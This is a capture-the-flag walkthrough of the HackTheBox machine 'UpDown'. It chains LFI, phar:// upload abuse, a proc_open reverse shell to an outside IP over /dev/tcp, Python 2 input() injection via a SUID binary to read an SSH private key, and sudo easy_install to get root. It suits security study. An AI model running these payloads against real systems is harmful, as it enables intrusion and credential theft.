Overview

Field Detail
Name UpDown
OS Linux (Ubuntu)
Difficulty Medium
Platform HackTheBox
Topics LFI, Phar Wrapper, File Upload, Python2 Input Injection, SUID Abuse

Attack Path

flowchart TD A[Port Scan: 22 & 80 open] --> B[Vhost Discovery: dev.siteisup.htb] B --> C[Git Repo Dump via .git/] C --> D[Custom Header Bypass: Special-Dev: only4dev] D --> E[LFI in index.php] D --> F[File Upload in checker.php] E & F --> G[Phar Wrapper Exploit] G --> H[RCE via proc_open] H --> I[Shell as www-data] I --> J[SUID Binary: siteisup] J --> K[Python2 input Injection] K --> L[Shell as developer] L --> M[Sudo: easy_install GTFOBins] M --> N[Root!]

Reconnaissance

Service Scan

Nmap reveals two open ports — SSH and HTTP.

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: HEAD POST OPTIONS
|_http-title: Is my Website up ?

The HTTP title hints at the site’s purpose. The domain resolves to http://siteisup.htb — add it to /etc/hosts.


Attacking HTTP (Port 80)

Directory Fuzzing

Running feroxbuster uncovers an exposed .git directory:

feroxbuster -w `fzf_wdlists` --dont-extract-links -u 'http://siteisup.htb'

200  GET  0l   0w   0c  http://siteisup.htb/dev/
301  GET  9l  28w  315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/

Git Repository Dump

Using git-dumper to extract the repo, then inspecting git log reveals a new vhost: http://dev.siteisup.htb. Directly visiting it returns 403 Forbidden.

Bypassing the Custom Header

Inside .htaccess, a custom header restriction is enforced. The fix: add Special-Dev: only4dev to all requests via Burp Proxy’s Match and Replace rule.


Source Code Analysis

index.php — LFI

The page parameter is vulnerable to Local File Inclusion. It uses a blacklist approach and only renders files ending in .php. The default page is checker.php.

checker.php — File Upload

  • Accepts file uploads, stores them under /uploads/<md5_hash>/
  • Blacklists dangerous PHP extensions
  • Blacklists content strings: file://, ftp://, data://
  • Auto-deletes uploaded files after 5 minutes

Exploitation

Attack Chain

sequenceDiagram participant A as Attacker participant S as dev.siteisup.htb A->>S: Upload zip renamed to .jpeg containing shell.php S->>S: Store at /uploads//payload.jpeg A->>S: GET /?page=phar://uploads//payload.jpeg/shell S->>S: PHP unpacks phar and executes shell.php S->>A: Reverse shell connection

Step 1 — Craft the Payload

Create a zip containing a PHP file, then rename it to bypass extension blacklist:

echo '<?php echo "Hello World"; ?>' > hello.php
zip hello.zip hello.php
mv hello.zip hello.jpeg

Step 2 — Upload and Locate

Upload the file, then browse /uploads/ to find its MD5-named directory.

Note: Uploaded files are auto-deleted every 5 minutes. Work fast.

Step 3 — Trigger via Phar Wrapper

http://dev.siteisup.htb/?page=phar://uploads/a807a329197b99783be799cdb81509cb/hello.jpeg/hello

Bypassing Disabled Functions

Native functions like system() are disabled. Feed phpinfo() output to dfunc-bypasser to enumerate allowed functions — proc_open is available.

Reverse Shell via proc_open

<?php
$command = "bash -c 'bash -i >& /dev/tcp/10.10.14.105/443 0>&1'";
$descriptorspec = array(
    0 => array('pipe', 'r', 'a'),
    1 => array('pipe', 'w', 'a'),
    2 => array('pipe', 'w', 'a'),
);
$process = proc_open($command, $descriptorspec, $pipes);
?>

Shell obtained as www-data.


Privilege Escalation

www-data → developer: Python2 input() Injection

A SUID binary siteisup in the developer’s home directory wraps a Python 2 script:

# siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

In Python 2, input() evaluates the input as a Python expression — a classic code injection sink.

Proof of concept:

Enter URL here:__import__("os").system("id")
uid=1002(developer) gid=33(www-data) groups=33(www-data)

Exploit for SSH key extraction:

Enter URL here:__import__("os").system("cat /home/developer/.ssh/id_rsa")

Or drop into a shell by abusing the SUID bit:

Enter URL here:__import__("os").system("bash -p")

developer → root: easy_install via GTFOBins

The developer user has sudo rights on easy_install. This binary is listed on GTFOBins:

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

Root shell obtained.


Key Takeaways

  • Exposed .git directories are high-value targets — always fuzz for them. Tools like git-dumper can recover full source code and commit history.
  • Blacklist-based input filtering is fragile. Both the extension check and content check in checker.php were bypassable. Whitelists are far more robust.
  • PHP wrappers (phar://) can turn a limited LFI into full RCE when file upload is also present, even without direct PHP extension execution.
  • proc_open is a common system() alternative when disable_functions is partially configured — always enumerate with tools like dfunc-bypasser.
  • Python 2’s input() is inherently unsafe as it calls eval() internally. Python 3 fixed this, but legacy scripts remain a real-world risk.
  • SUID binaries wrapping interpreted scripts are a dangerous pattern — the interpreter inherits elevated privileges, exposing the entire language’s attack surface.
  • GTFOBins is essential — even innocuous-looking sudo permissions (like easy_install) can lead straight to root.